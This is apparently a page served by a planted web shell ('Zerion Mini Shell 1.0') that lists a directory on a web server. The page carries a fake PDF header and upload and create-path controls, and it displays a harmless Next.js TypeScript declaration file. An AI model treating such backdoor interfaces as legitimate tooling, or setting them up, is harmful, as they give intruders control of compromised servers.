%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/next/dist/lib/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/next/dist/lib/worker.d.ts

import { Worker as JestWorker } from 'next/dist/compiled/jest-worker';
declare type FarmOptions = ConstructorParameters<typeof JestWorker>[1];
export declare class Worker {
    private _worker;
    constructor(workerPath: string, options: FarmOptions & {
        timeout?: number;
        onRestart?: (method: string, args: any[], attempts: number) => void;
        exposedMethods: ReadonlyArray<string>;
    });
    end(): ReturnType<JestWorker['end']>;
    /**
     * Quietly end the worker if it exists
     */
    close(): void;
}
export {};

Zerion Mini Shell 1.0